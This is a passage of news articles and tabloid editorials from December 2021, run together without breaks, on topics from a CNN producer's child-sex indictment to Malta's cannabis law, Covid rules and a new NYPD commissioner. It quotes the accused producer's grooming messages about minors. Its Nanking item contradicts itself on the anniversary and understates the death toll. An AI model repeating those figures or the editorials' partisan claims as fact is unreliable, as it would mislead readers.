the 1967 international Outer Space Treaty - which was supposed to prevent the proliferation of debris - was no longer fit for purpose Major Peake, who left the British Army to join the European Space Agency, said he is likely to return to space in either 2024 to 2025. He added the Russian missile test showed that the 1967 international Outer Space Treaty - which was supposed to prevent the proliferation of debris - was no longer fit for purpose. He also called for the appointment of a UK minister for space with a seat in the Cabinet to lead and co-ordinate the Government's efforts across Whitehall. Major Peake said: 'That would send not only a good message to industry and academia and the scientific community but that would also send a very strong message when we collaborate with our international partners for example at the council of ministers for the European Space Agency to have a minister of space from the UK attending,' he said. John Griffin, of Stamford, Connecticut, was working on CNN's morning program 'New Day', prior to a grand jury in Vermont indicting him on Friday 'with three counts of using a facility of interstate commerce to attempt to entice minors to engage in unlawful sexual activity' A senior producer, who worked 'shoulder-to-shoulder' with now-disgraced ex-anchor Chris Cuomo on his primetime show, has been fired by CNN after he was arrested last week for sex crimes with underage girls. John Griffin, a dad from Stamford, Connecticut, was working on CNN's morning program 'New Day', prior to a grand jury in Vermont indicting him on Friday 'with three counts of using a facility of interstate commerce to attempt to entice minors to engage in unlawful sexual activity.' CNN initially suspended Griffin, 44, while awaiting an investigation but the network has now terminated its former employee after Friday's hearing. 'The charges against Mr. Griffin are deeply disturbing. We learned of his arrest Friday afternoon and terminated his employment Monday,' a CNN spokesperson said in a statement. At this time, Dailymail.com has not been able to identify an attorney for Griffin. The indictment accuses Griffin of trying to persuade mothers to allow their daughters to engage with sexual activity with him at his Vermont ski home. The former producer, who also worked for Fox, ABC and CBS News, 'sought to persuade parents to allow him to train their daughters to be sexually submissive,' according to court documents from the U.S. Attorney's Office in Vermont. Prosecutors specify crude details of sexual requests sent by Griffin in the indictment. Griffin would regularly communicate with the mothers of these underage women on messaging apps, including Kik, Google Hangouts, and texts. John Griffin, 44, a veteran producer on CNN who worked 'shoulder to shoulder' with the now- cancelled, ex-anchor Chris Cuomo, has been arrested and indicted on three counts of luring underage girls to his rented property in Vermont for 'sexual subservience' training Cuomo (left) and Griffin (right), following the Paris attacks in November 2017. The pair previously worked on ABC news together. He would also send them his 'disturbing' beliefs, including one where he states that there is a 'wanton whore' at 'the core of any' female and that 'a woman is a woman regardless of her age,' according to messages shared in the indictment. The now ex-CNN producer also exchanged text messages with a mother of two daughters, ages 9 and 13. One of the text messages read: 'One of the big lies of this society is that women are delicate innocent angels and they are in actuality, naturally, the dirtiest sluts possible, in EVERY metric.' He also sent to the same mother: 'When handled appropriately, a woman is a woman regardless of her age,' and then tried to convince her that her 13-year-old daughter would be 'trained properly' by him. Griffin, a father himself, paid $3,000 worth of plane tickets for the mother and daughter to fly out to Boston from Nevada, where he picked them up in his Tesla before driving them to his home in Vermont, according to court papers. In Vermont, 'the daughter was directed to engage in, and did engage in, unlawful sexual activity,' authorities alleged. The indictment further showed that Griffin once bragged about how he 'sexually trained girls as young as 7 years old' and recommended a mother's 14-year-old daughter, after describing how she 'would be a good candidate for such training.' He allegedly offered virtual training, where he 'planned to instruct the 14-year-old and her mother to remove their clothing and touch each other' on webcam. He also told them about how in-person sessions would include 'spanking' and 'c**k worship.' Ex-CNN producer John Griffin rented a getaway ski home in Ludlow, VT, where he would attempt to persuade mothers to drive their underage daughters to On one occasion, Griffin tried to convince a mother that her 13-year-old daughter would be 'trained properly' by him at his home in Ludlow, Vermont. Pictured: one of the rooms at the Vermont home CNN suspended Griffin, pending an investigation, before terminating him after he was charged with 'three counts of using a facility of interstate commerce to attempt to entice minors to engage in unlawful sexual activity' Chris Cuomo (left) was one of Jim Griffin's (right) clients before he eventually became a news anchor on CNN. Pictured: Cuomo and Griffin with Television personality Billy Bush (center) at a William Morris Agency Upfront Party at the Four Seasons Restaurant on May 15, 2006 in New York City John Griffin is the son of longtime William Morris agent Jim Griffin, who represented Regis Philbin, Geraldo Rivera, Fred Thompson and other boldface names. He left the agency in 2009 for Paradigm, before it merged with Endeavor. However, back in the day, one of Jim Griffin's clients was a young Chris Cuomo. Jim's son, John, joined Cuomo on CNN's 'New Day' from the show's birth in 2013 and stuck with the recently-axed anchor until the launch of Cuomo Primetime in 2018. Griffin's LinkedIn page hasn't been updated since the producer's termination by CNN. But, it states that Griffin and Cuomo worked 'shoulder-to-shoulder' on each show, 'producing live breaking news across the country and around the world.' Cuomo had previously worked with Griffin at ABC News between 2005 and 2013. Dailymail.com has directly contacted Cuomo's media representatives for comment. Images and tweets featuring Chris Cuomo from the Twitter account of ex-CNN Producer John Griffin. Griffin a producer for Cuomo has been indicted on charges of luring young girls to his Vermont ski house for 'sexual subservience' training. Griffin (center) with Chris Cuomo (right) in front of the White House on September 23rd, 2015. Griffin's LinkedIn page states that Griffin and Cuomo worked 'shoulder-to-shoulder' during their time on Cuomo Prime Time at CNN ,'producing live breaking news across the country and around the world' According to the indictment, Griffin also 'attempted to entice two other children over the internet to engage in sexual activity'. He 'proposed to engage in a 'virtual training session' over a video chat that would include him instructing the mother and her 14-year-old daughter to remove their clothing and touch each other at his direction' in April 2020. In another unrelated encounter in June 2020, Griffin 'proposed to a purported mother of a 16-year-old daughter that she take a 'little mother-daughter trip' to Griffin's Ludlow ski house for sexual training involving the child.' Additionally, federal prosecutors are seeking the confiscation of Griffin's getaway property, his two cars, including a Tesla and a Mercedes, and other his computers as well as cameras that were used in the series of crimes, according to the indictment. Griffin is facing a mandatory minimum sentence of 10 years in prison and could be handed a maximum sentence of life imprisonment for each count, according to the Department of Justice. JK Rowling's credit barely features in the new Fantastic Beasts trailer amid an ongoing transphobia row that has seen the her get cancelled. The trailer for 'Fantastic Beasts: The Secrets of Dumbledore', released yesterday, features captions 'Warner Bros invites you' rather than 'J.K Rowling invites you' used in previous teasers. Rowling's name appears in a minor publishing note at the end of the new trailer, despite her having co-written and co-produced the film, set for release in April 2022. It comes amid the latest row over the Harry Potter writer's comments on transgender rights after she criticised Police Scotland for saying it will record rapes by offenders with a penis as being committed by a woman if the attacker 'identifies as a female'. Rowling responded to Police Scotland, tweeting: 'War is Peace. Freedom is Slavery. Ignorance is Strength. The Penised Individual Who Raped You Is a Woman.' Her comments were a nod to George Orwell's Nineteen Eighty-Four, a dystopian novel about a regime that manages to invert the truth to control its people. JK Rowling's name has been 'erased' from prominent credits in the trailer for the new Fantastic Beasts film due for release in April 2022 The author, 56, has faced accusations of transphobia after she mocked an online article in June 2020 which used the words 'people who menstruate' instead of 'women'. She later defended herself against the claims in a passionate essay but has continued to face criticism. In September 2020, she faced renewed calls of transphobia after it was revealed the the villain in her latest book, Troubled Blood - written under Rowling's pseudonym Robert Galbraith - is a male serial killer who dresses as a woman to slay his victims. An early review of the 900-page book by The Daily Telegraph - in which the critic states the book's 'moral seems to be: never trust a man in a dress' - sparked immediate backlash online. In the wake of these remarks, Harry Potter actors Rupert Grint, Emma Watson, Daniel Radcliffe and Eddie Redmayne, who stars in her Fantastic Beasts films criticised the author for her remarks. Harry Potter actors Rupert Grint, Emma Watson, Daniel Radcliffe (pictured with Rowling in July 2011) have criticised the author for her remarks And in March, Rupert Grint, who plays Ron Weasley in the beloved film series admitted that he felt he needed to stand up for transgender people following Rowling's remarks. He said that while he was 'not an authority' on the debate, he felt he had a responsibility to speak out in support of the trans community as 'silence is louder'. And Rowling is a notable absence from the upcoming Harry Potter 20th anniversary reunion in light of her views. A release said it would feature stars Daniel Radcliffe, Emma Watson and Rupert Grint - who have not made a public appearance together since the premiere of the last premiere of the franchise, Harry Potter And The Deathly Hallows Part 2, in July 2011, as well as filmmaker Chris Columbus, who directed the blockbuster film. But the release does not mention the person responsible for the creation of the characters, author JK Rowling, who has been criticized for her views on transgender people. They said Rowling will be shown in archival footage from the creation of the first movie, but will not make a new appearance in the special. Primary school pupils in Hong Kong were left in tears after being shown footage from a massacre in China. The documentary clip was screened on the 84th anniversary of Japanese soldiers killing civilians in Nanking. China on Monday marked the 80th anniversary of the massacre that left hundreds of civilians and disarmed soldiers dead. The decision sparked complaints from parents, according to local media reports, and the children were said to have been offered counselling. Po Leung Kuk Taoist school said it would consider childrens feelings and adjust teaching materials accordingly. The Nanking Massacre, known as the Rape of Nanking, was an episode of mass murder and mass rape committed by Japanese troops against the residents of Nanking during the Second Sino-Japanese War. 1937 In this photo released by Xinhua News Agency, the Chinese national flag is flown at half mast during a memorial ceremony for the Nanking Massacre victims at the Memorial Hall of the Victims of the Nanking Massacre by Japanese Invaders in Nanjing, in eastern China's Jiangsu Province, Monday, Dec. 13, 2021. Hong Kong authorities have included Chinese history as a compulsory subject and indicated that students will also learn about national security. This follows the implementation of a national security law last year in response to massive anti-government protests. While learning history is of paramount importance, how to learn is something that we will defer to the education sector,' Hong Kong leader Carrie Lam told a press conference yesterday. 'We have very well-trained teachers, we have well-run schools. People wearing face masks hold flowers as they mourn for the victims of the Nanjing Massacre at a mass burial site during the annual commemoration of the 1937 Nanjing Massacre in Nanjing in eastern China's Jiangsu province, Monday, Dec. 13, 2021 She has called for the strengthening of so-called patriotic education in schools, amid Beijings tightening grip on the city. The atrocity lasted from December 1937 to January 1938, with Japanese soldiers engaged in mass killings and rape. Nanking, an ancient Chinese capital 200 miles west of Shanghai, is now commonly known as Nanjing. Malta last night became the first European nation to legalise cannabis for recreational use. The island decriminalized the possession and cultivation of cannabis for personal use by adults, and took steps to set up what could become Europe's first cannabis regulatory authority. It will become legal for anyone 18 and over to possess up to seven grams of cannabis and to cultivate up to four plants. Growers for personal use can store up to 50 grams of dried marijuana. However, consuming cannabis in public or in the presence of children remains illegal and subject to fines. The new regulations will allow for the setting up of non-profit clubs that can distribute cannabis and cannabis plant seeds among their members. And it calls for the establishment of an authority that will work with the government on national policy governing cannabis use. Malta last night became the first European nation to legalise cannabis for recreational use. Pictured: Supporters celebrate after bill passed in Malta The passage of the package was not unanimous, with the opposition Nationalist Party arguing that the bill would normalise and increase drug abuse in Malta. It must be signed into law by the president, which is usually a formality. Europe's smallest member state is expected to be followed by similar moves in Germany, Switzerland, Luxembourg and the Netherlands. Italy also intends to hold a referendum on whether to legalise cannabis next year. Local news website Lovin Malta said the reforms are intended to regulate personal cannabis use and to reduce the harm it can do. It also aims to protect recreational users, and prevent them from using illegal markets, the site reported. Speaking to Malta Today, minister for equality Owen Bonnici said: 'We want to reduce the suffering, humiliation and deprivation of other rights that many cannabis users have experienced when they have been subjected to arrest and judicial proceedings on possession of small amounts.' Growers for personal use can store up to 50 grams of dried marijuana He also told The Guardian: 'I'm very glad that Malta will be the first country which will put words in statute in a comprehensive manner with a regulatory authority. 'There is a wave of understanding now that the hard-fist approach against cannabis users was disproportionate, unjust and it was rendering a lot of suffering to people who are leading exemplary lives. 'But the fact that they make use on a personal basis of cannabis is putting them in the jaws of criminality.' However, Malta's opposition Nationalist Party was critical of the move. Its leader Bernard Grech warning in October: 'The relaxation of the laws will only lead to the strengthening of the illegal market, with organised crime taking advantage,' according to The Times. Bonnici told The Guardian that his country's approach, while seeking to avoid criminalising any cannabis use, was also to ensure harm reduction. If someone is found in posession of 28 grams, they will be handed a fine of 50-100 Euros. Malta's Prime Minister Robert Abela after the passing of the bill Those who are under-18 and found in possession of the drug will go before a commission for justice to likely be recommended a care plan. In addition, those who are found to have consumed cannabis in front of a child could be fined between 300 and 500 Euros. In addition to allowing people to grow cannabis in their homes, it will also be legal for non-profit cannabis clubs to cultivate it for distribution among its members. Similar organisations are also legal in Spain and the Netherlands. However, membership to such clubs will be limited to 500 people, and only 7 grams a day can be distributed to each person, with a cap of 50 grams each month. The organisations also cannot be located closer than 250 meters to a school, club or youth centre, The Guardian reported. Those who are under-18 and found in possession of the drug will go before a commission for justice to likely be recommended a care plan. Pictured: Supporters celebrate after bill passed Last month, it was revealed that Germany is also set to legalise cannabis as the country's new coalition government takes power. The centre-left SPD, liberal Free Democrats and eco-friendly Greens have taken over from from Angela Merkel's conservative CDU party, two months after it was given a drubbing in national elections. Outlining their agenda for government last month, the so-called 'traffic light' coalition said cannabis will be regulated and sold to adults for use in licenced shops. Since legalising medical marijuana in 2017, Germany's market has become the largest in Europe, selling 154million worth of high-THC products to patients last year, according to New Frontier Data. If cannabis is legalised for recreational use, the country - which has a population of more than 83million - could become the biggest cannabis market in the world. The change in direction of a number of European countries and their drug plicies comes after a decision by the UN last December to remove cannabis from a listing of drugs designated as potentially addictive and dangerous, or having little or no therapeutic use. South Australia has recorded 26 new Covid cases after moving from an elimination to suppression strategy. Premier Steven Marshall announced the spike in cases on Wednesday and said South Australians need to brace for more cases. 'We're going to continue to have more cases in South Australia, importantly though we are seeing the number of people who are in directed quarantine continue to fall.' The figure is the highest single day increase in cases in the state since April 1 last year. Premier Steven Marshall confirmed the 26 new infections on Wednesday and said South Australians need to brace for more cases SA is on track to hit 90 per cent vaccination rates for people over the age of 12, but Premier Marshall urged people to be vigilant after moving to a 'suppression phase'. 'We have moved from the elimination phase to the suppression phase so it's a different level of risk we're dealing with at the moment,' he said. He was forced to defend delays in reporting of exposure sites after people claimed they had been notified of cases well into potential infections. The state will introduce a reduced quarantine period for overseas arrivals immediately from Wednesday, with passengers only having to serve seven days in isolation rather than 14. The state will introduce a reduced quarantine period for overseas arrivals immediately from Wednesday, with passengers only having to serve seven days in isolation rather than 14 'That is now back in place, this also applies to people who might have come from overseas and have been interstate for more than seven days,' Premier Marshall said. 'I know this is going to be a huge relief because we have had a lot of calls from overseas and some from interstate as well. 'Moving it down to seven I think is going to provide huge relief to people and their Christmas plans. 'We are asking people to go straight to a testing facility, now that doesn't need to be at the airport.' Believing you have been abducted by aliens could be as bad for your mental health as actually being kidnapped. Elvis Presley, David Bowie and Robbie Williams are among those who believe in UFOs, and thousands of people worldwide claim to have fallen victim to an alien abduction. Now a study has found almost half of 'alien abductees' meet the criteria for post-traumatic stress disorder (PTSD). That proportion is slightly higher than the rate in people who have been kidnapped. Researchers could only look at 19 people claiming to have been abducted by aliens, as they are not easy to find. When compared to 32 people who did not think they had been taken by extraterrestrials, the rate of PTSD was higher for those claiming an alien abduction. Now a study has found almost half of 'alien abductees' meet the criteria for post-traumatic stress disorder (PTSD) (stock image) The findings provide interesting evidence that people can be traumatised by something which almost certainly never actually happened. The authors of the study, which involved Zaragoza University in Spain, state: 'The emotional reaction to memories of an implausible experience can be similar to an individual's response to a genuinely traumatic event.' They add: 'Abductees can have an emotional reaction analogous to PTSD because, regardless of whether their recollections are true or false, their fear is real.' Among the volunteers in the study who reported alien abductions, five reported seeing 'strange' lights in the sky, while 15 reported a spaceship and various alien life forms. Interferences with electronic devices like the radio or television were described by two people, and six remembered a 'bedroom visitor'. More than half had memory loss from their 'abduction', typically covering one to three hours, although one person said their memory was blank for a whole day-and-a-half. More than half had memory loss from their 'abduction', typically covering one to three hours, although one person said their memory was blank for a whole day-and-a-half (stock image) The study participants were asked to complete a questionnaire used to judge PTSD. This meant rating the frequency and severity of issues including nightmares, being nervous or easily frightened, feeling as if they were reliving their abduction, or having physical symptoms triggered by memories, including sweating and dizziness. The group of people claiming to have been abducted scored more highly on the PTSD scale than the 32 people they were compared with. The study, published in the journal Explore, found nine people, or 47.3 per cent of those apparently taken by aliens, met the criteria for a diagnosis of PTSD. That compares to a rate of 46 per cent previously seen in kidnap victims. Another seven people who reported a close encounter with an alien had some symptoms of PTSD, such as intrusive thoughts and negative mood swings. The other three had no such trauma, with some people who say they have come into contact with aliens believing it has 'changed their lives for the better'. The study found the nine women and 10 men claiming an alien abduction were actually less 'suggestible' - a measure including gullibility and being easily led - than other people. The study found the nine women and 10 men claiming an alien abduction were actually less 'suggestible' - a measure including gullibility and being easily led - than other people The study authors say there are alternative explanations for people believing they have been taken by aliens. These include 'sleep paralysis' - a state between sleeping and being fully awake where people can suffer hallucinations or feel like they are floating. Another explanation may be that an 'alien abduction' is a distorted recollection of medical procedures under anaesthetic, which could explain the memories of a round, bright light, nudity, pain and loss of control and unfamiliar figures that are similar in colour. But because of the small numbers, the study was too small for the finding to be statistically significant. Elvis Presley claimed he saw UFOs throughout his life, saying that, aged eight, he was visited telepathically by aliens who showed him a future vision of 'a man wearing a white suit singing to a crowd'. Robbie Williams believes in aliens and David Bowie, known for his song Life On Mars, said he saw so many UFOs as a child that he 'simply got used to them'. Reports of alien abductions are most common in English-speaking countries, especially the US. Dr Kerry Chant has made a dramatic return to the spotlight issuing a stern warning for people to keep wearing masks - despite NSW scrapping them in most indoor settings from today. Dr Chant, the NSW Chief Health Officer, was the only person present at the Wednesday lunchtime press briefing, standing beside NSW premier Dominic Perrottet, to actually wear a mask. 'I would urge us to continue to wear those masks in indoor settings,' Dr Chant said - in a message that seemed at odds with the state government's new mask-free policy. During a testy exchange with reporters Dr Chant clarified that ending mask mandates was 'a matter for governments', but that people should take personal responsibility for their health. Dr Kerry Chant has made a dramatic return to the spotlight issuing a stern warning for people to keep wearing masks - despite NSW scrapping them in most indoor settings from today Dr Chant, the NSW Chief Health Officer, was the only person present at the Wednesday lunchtime press briefing, standing beside NSW premier Dominic Perrottet, to actually wear a mask 'From public health position I am strongly recommending wearing masks and asking the community to do so,' she said. Dr Chant spoke alongside Mr Perrottet and Health Minister Brad Hazzard, on a day that NSW's Covid confirmed cases dramatically leapt to 1,360. 'I just want to acknowledge we are in a time where we expect to see escalating case numbers,' Dr Chant said. Cases have more than quadrupled in a week, and it is the first time in months the state has recorded more than a thousand new infections in a single day. The last time the tally was this high was on September 11, when 1,599 new cases were detected. NSW health minister Brad Hazzard speaking at Wednesday's Covid press briefing. NSW Covid cases spiked to 1,360, the highest number of cases in several months A sometimes fiery Dr Chant said it didn't matter what variant was responsible for the rise in case numbers - the method for stopping the spread of virus didn't change. 'Whether it's Omicron or Delta... my clear advice is people should be wearing masks in indoor settings.' Earlier official advice was that from Wednesday masks would only be required on public transport in Sydney. 'As of today, it may not be legally required ... but ... for many it would be very sensible to actually wear a mask. 'We want to preserve Christmas.' Dr Chant urged people to reconsider the venues for festive gatherings, saying people should be aiming for outdoor events like picnics, or in cafes with ventilation. 'Just at this time, think of the environment in which you chose your functions.' 'One of the things we've tried to stop is people going into aged care homes and disability homes,' she said. 'If you can do your visits outdoors, that's always the safest place.' She added that it was 'inappropriate' for anyone to attend an event if they have tested positive for Covid. 'Just reminding you, you often don't know you've got Covid and you're infectious. You're infectious before you actually get symptoms,' she said. Incoming New York City Mayor Eric Adams is expected to announce on Wednesday that he is appointing a woman to serve as the police commissioner for the first time in the NYPD's 176-year history. Keechant Sewell, 49, who currently serves as the Nassau County Chief of Detectives, will also be just the city's third black police commissioner after Benjamin Ward served from 1984 to 1989 under Mayor Ed Koch, and Lee Brown served from 1990 to 1992 under Mayor David Dinkins. She is expected to take office on January 1, taking over for outgoing commissioner Dermot Shea, amid an increase in violent crime and low morale amongst police officers after years of outgoing Mayor Bill de Blasio's anti police reforms. 'I'm here to meet the moment,' Sewell told the New York Post, adding: 'I'm very humbled to even be considered for this and it's an extraordinary opportunity. 'And I take it very seriously, the historic nature of this.' Keechant Sewell, 49, will be the next police commissioner of the NYPD after serving as the Nassau County Chief of Detectives Sources familiar with incoming mayor Eric Adams' decision to appoint her to the role say he was impressed by Sewell's 'emotional intelligence' she displayed during her interview. Adams is pictured here attending West Side Story on November 29 Rising crime, BLM protests and vaccine mandates - what's next for the new NYPD commissioner Keechant Sewell's appointment to New York City's top cop comes at a pivotal moment for the NYPD as crime rises, and Black Lives Matter threatens the NYPD. Between November 29 to December 5, NYPD statistics show, murders were up 1.4 percent when compared to last year, and grand larceny from autos was up a whopping 14.1 percent. A report released by the department just last week also concluded overall crime increased 21.3 percent in November 2021, when compared to November 2020, with robberies increasing 24 percent and felony assaults increasing 11 percent. It also revealed that shootings have reached levels not seen since the mid-2000s, with citywide shootings increasing 2.6 percent in November and 2 percent year-to-date. A Black Lives Matter has also threatened 'riots' and 'bloodshed' in the streets of New York City if Mayor-elect Eric Adams reinstates the NYPD's anti-crime units - a vow Adams later doubled down on the following day. And the police force has decreased amid Mayor Bill de Blasio's vaccine requirement. Advertisement The decision to appoint Sewell to the top-cop role was a 'gut choice' for Adams, sources told the Post, who has vowed for months to appoint a woman to the post. 'Keechant Sewell is a proven crime fighter with the experience and the emotional intelligence to deliver both the safety New Yorkers need and the justice they deserve,' Adams said in a statement to the Post. 'Chief Sewell will wake up every day laser-focused on keeping New Yorkers safe and improving our city,' he continued, 'and I am thrilled to have her at the helm of the NYPD.' Adams' team searched nationwide for the best candidate, the Post reports, interviewing dozes of female officers, including one-time Police Chief Carmen Best, former Newark Chief Ivonne Roman and Philadelphia Police Commissioner Danielle Outlaw. But sources say Adams was most impressed by Sewell's 'emotional intelligence' she displayed during her interview, which capped off with an hours-long press conference about an apparently unarmed black man being shot by a white cop. People familiar with the interview process told the Post she projected a calm confidence during the fake news conference and was able to connect with the community as she spoke. Sewell was born in Long Island City, Queens where she lived the first few years of her life in public housing, the Post reports. She later moved to Corona and Jamaica, Queens, where she found a mentor in a retired NYPD cop named John Wesley Pierce she called 'Pop Pop.' Together with her father who was a US Marine, he taught her the meaning of 'service and honor.' 'He always took the time to talk to me about what it means to be a person who cared about the communities and those around them,' she said of Pierce, who retired in 1968 and died in 2017. In November, Sewell, second from right, was named Nassau County's Law Enforcement Person of the Year at the 47th Annual Law Enforcement Night Sewell, right, was among the first Nassau County detectives to achieve First Grade Detective She is pictured fifth from right being sworn in as Patrol Deputy Chief in 2017 Sewell now lives in Valley Stream, on the border of Nassau County and Queens, and serves in the Nassau County Police Department. In 2017, she was sworn in as Patrol Deputy Chief, and she helped create and run the police department's Professional Standards Bureau, which oversaw the agency's Internal Affairs division. She was promoted in September 2020 to Chief of Detectives in Nassau County, becoming the first black woman to reach the rank in the county. In November, she was also named Nassau County's Law Enforcement Person of the Year at the 47th Annual Law Enforcement Night for her work overseeing 351 uniformed officers. 'She's had a meteoric rise,' Adams' spokesman Evan Thies told the Post, noting that Sewell trained with the FBI to be the county's chief hostage negotiator, and received counterterrorism training at the FBI Academy in Quantio, Virginia. He added that Sewell also serves on the New York-New Jersey Joint Terrorism Task Force. Sewell will be replacing outgoing NYPD Commissioner Dermot Shea, pictured at a press conference at the Macys Thanksgiving Day Parade Balloon Inflation Celebration Sewell's appointment comes amid soaring crime rates and an increase in shooting incidents not seen since the mid-2000s In a sit-down interview with the Post, Sewell said she will be 'absolutely focused on crime,' claiming 'violent crime is the number one priority.' From November 29 to December 5, NYPD statistics show, murders were up 1.4 percent when compared to last year, and grand larceny from autos was up a whopping 14.1 percent. A report released by the department just last week also concluded overall crime increased 21.3 percent in November 2021, when compared to November 2020, with robberies increasing 24 percent and felony assaults increasing 11 percent. Keechant Sewell vows to be 'absolutely focused on crime' - saying she will study the shooting epidemic Keechant Sewell vowed in an interview with the New York Post to be 'absolutely focused on crime.' She said she supports the 'broken windows' theory of policing, which holds that if someone breaks a window and it doesn't get fixed someone else may be tempted to break another window or commit a more egregious crime. She has also said she supports the use of plain-clothes officers, claiming: 'They are able to be in places where they are not able to be easily recognized and if you use a surgical approach, use well-trained officers and know what their objectives are you can get measurable results.' And she said she would take an analytical approach to solving the shooting epidemic, noting that she wants a 'full assessment on what's happening in the city right now' to 'come up with a strategy.' It was unclear on Tuesday night where she stood on issues involving Black Lives Matter protests and the controversial stop-and-frisk practice, but incoming Mayor Eric Adams has floated bringing back a 'smarter' form of the practice, that was found unconstitutional for targeting people of color. Advertisement It also noted: 'Shootings have persisted in pockets of the city, increasing both in 2020 through November of 2021 to levels not seen since the mid-2000s. 'For this past November, citywide shooting incidents have experienced an uptick of 2.6 percent when compared to last year and rose 2 percent year-to-date.' When asked how she would address the shooting epidemic, Sewell simply said: 'I want to actually take a look at what's working in the city and what's not working,' adding that she wants a 'full assessment of what's happening in the city right now' to 'come up with a strategy.' She said she hopes the assessment can happen 'very quickly' through 'aggressive meetings scheduled both internally with the police department and the community. 'I'm hoping to kind of hit the ground running beginning January 1,' Sewell said, noting: 'I've been policing for 25 years so I've actually got some sort of grasp on what I think works and what doesn't work.' Sewell also defended the use of undercover agents to combat gun and gang violence in her interview with the Post saying 'plain clothes units work. 'They are able to be in places where they are not able to be easily recognized and if you use a surgical approach, use well-trained officers and know what their objectives are you can get measurable results.' Adams has vowed to bring back an anticrime unit after it was disbanded by Police Commissioner Dermot Shea last year. But she was also reportedly critical of how plain-clothes officers work in the city, telling Adams' camp 'they were doing it wrong.' 'If you start busting heads they [the community] are never going to work with you,' Sewell said, according to a source familiar with the conversation. She also said she supports the broken windows theory of policing, which holds that if someone commits a petty offense like smashing a window and nobody fixes it, another person may be tempted to break another window or commit a more serious crime. 'I think you have to take a look at quality of life crimes because sometimes they lead to something else,' she said. 'You have to make sure you're using the broken window theory, the enforcement of those low-level crimes, in a way that's not discriminatory, in a way that addresses the problem and doesn't actually over police it in some respect.' The first reaction is one of heartbreak. Then incomprehension. Then boiling rage. Rage that yet another defenceless toddler has been sadistically tortured and murdered in our supposedly civilised country. Rage that this hideous crime was allowed to happen despite a string of red flags. And rage that those who failed 16-month-old Star Hobson will probably never be held to account. By the time she lost the fight for life, Star had catastrophic injuries to almost every part of her tiny body. In a regime of terror lasting months, she was punched and kicked to death by her mother Frankie Smith's vile, psychopathic girlfriend, Savannah Brockhill. Five times social services were alerted by concerned relatives. Five times they failed in their duty of care. The first reaction is one of heartbreak. Then incomprehension. Then boiling rage. Rage that yet another defenceless toddler has been sadistically tortured and murdered in our supposedly civilised country Inevitably, political correctness played its part. When Star's great-grandparents warned 'another Baby P' was on the cards, social workers accused them of malice because Smith was in a same-sex relationship and her partner had a traveller background. It was an unforgivable slur, which ultimately cost Star her life. This depressingly familiar story comes less than two weeks after the carbon copy case of six-year-old Arthur Labinjo-Hughes, who was brutally murdered by his stepmother. And yesterday an inquest heard that another toddler, Ella-Rose Clover, was murdered after doctors failed to identify a sustained campaign of prior abuse. Will anyone ever be held properly accountable for these outrages? If not, and social workers, medics and police are constantly allowed to duck the blame, lessons will never be learned. And children will go on dying. Alone, forlorn and forsaken. Heed Covid rebels, PM Boris Johnson may have won the battle to impose another gruelling clampdown in the fight against Covid. But rather than toast his success, a chastened Prime Minister is having to lick his wounds. So furious were Tory MPs about tougher Plan B restrictions, including ineffective and discriminatory vaccine passports, that their rebellion obliterated his majority. Worse still, the PM endured the indignity of relying on Labour to win the vote another damaging blow to his fragile authority. And by releasing a blizzard of dubious statistics to support his case that Omicron is such a deadly threat it requires intrusive and drastic action, he is taking us for fools. Boris Johnson may have won the battle to impose another gruelling clampdown in the fight against Covid. But rather than toast his success, a chastened Prime Minister is having to lick his wounds On the day the first major real-world study of the variant shows it to be significantly milder than existing strains, Mr Johnson claims an explosion of cases will buckle the NHS. But will this happen? Like the Tory rebels, the Mail fears this is a slippery slope to stricter constraints. Just as the country gets back on its feet, Plan C hovers ominously into view. And what will that entail? Tiers, the rule of six, social distancing, closed pubs and restaurants? How many more bankrupted businesses, job losses, cancers missed and suicides do we need to say enough is enough? The PM should keep faith in boosters not shut Britain down 'to be on the safe side'. The truth is, it's not safe. It's disastrous. Defying the doomsters Before the referendum, the International Monetary Fund warned of chilling consequences if Britain voted to leave. Living standards and house prices would crash and a recession would be triggered. The effects of leaving the EU would be 'pretty bad to very, very bad', it said. How times change. Yesterday the IMF sang from a very different songbook. Our post-pandemic growth is expected to be the highest of any developed nation and 'major strides' have been made to develop our post-Brexit trading and financial future. Let's just hope this forecast is more accurate than the last. A Denver, Colorado elementary school has sparked outrage with a 'segregated' playtime for 'families of color' at its playground. The Centennial Elementary School organized the 'equity' event for families of color to gather and play on December 8. But critics have hit out at the event which conservative journalist Christopher Rufo called a 'racially-segregated playtime'.' Rufo, one of the nation's leading anti-critical race theory activists, told Fox that the event was 'racism under the guise of equity' and joined a growing number of people on social media calling on the school to terminate the program. Christopher Rufo, one of the nation's leading anti-critical race theory activists, claimed the Centennial Elementary School, in Denver, Colorado, was engaging in segregation by hosting a 'families of color playground night,' despite the event being opened to all One Twitter user named Geoffrey Miller wrote, 'If civil rights activists of the 1950s popped out of a time machine today, and saw all this stuff, they would infer that their movement had failed.' Another Twitter user with the handle name Hound echoed fears of segregation in schools, writing, 'We're going to be segregated again, and somehow they will spin it that it's the white conservative males fault.' Roy Ben-Tzvi, another person Twitter, mocked the idea that the event could be used to promote equity and celebrate diversity. 'This whole racism disguised as progress phenomenon is so backwards,' he wrote. Another Twitter user with the handle name Timothy claimed the event was turning kids 'into a racist product'. 'If this continues, the product will desire and request segregated work space as they age into the work force.' Dave Kopel, a law professor at Denver University, also chimed in an claimed the event was in violation of Colorado State law that schools not make 'any distinction or classification of pupils be made on account of race or color.' Many called the program a work of segregation and called on its termination. Dave Kopel, a law professor at Denver University, claimed it event violated Colorado State law Dr, Alex Marrero, Denver Public Schools Superintendent Denver Public Schools did not immediately respond to DailyMail.com's request for comment. Dr, Alex Marrero serves as Denver Public Schools Superintendent. In a statement to Fox News, the Centennial Elementary School officials said the event was formed due to parent's request and open to all families. 'Our school leaders met with some of the black families whose children attend our school to determine ways for these families to feel more included in our school community. 'Some of these families shared with us that, since the only time many of them see one another is at drop-off and pick-up times, we host some events where black families can meet one another, connect with one another and share their experiences about the school with one another. We are honoring their request. 'All families are welcome to attend all of our events, and families from a variety of backgrounds have done so.' The event itself was canceled due to COVID-19 protocols, but the school said the event will continue in 2022. The event was postponed until next year due to COVID-19 protocols Others on Twitter defended the program and criticized the outrage against it Others on Twitter backed the school and said the outrage was backed by empty claims of segregation since any one can join the event. One Twitter user with the handle name Arvind wrote, 'A one Wednesday in a month event, at an open playground, for black and brown folks, where white folks are welcome, just not fore-fronted or honoured perhaps... is 'state sponsored racial segregation'?'(sic) Nina Tannenwald, another Twitter user, wrote, 'Good grief. A lot of pearl-grasping here. Anyone can show up to these kinds of events. They aren't exclusive.' Advertisement The great aunt of a nine-year-old killed in Friday's tornado in Missouri has paid tribute to a 'wonderful, loving, 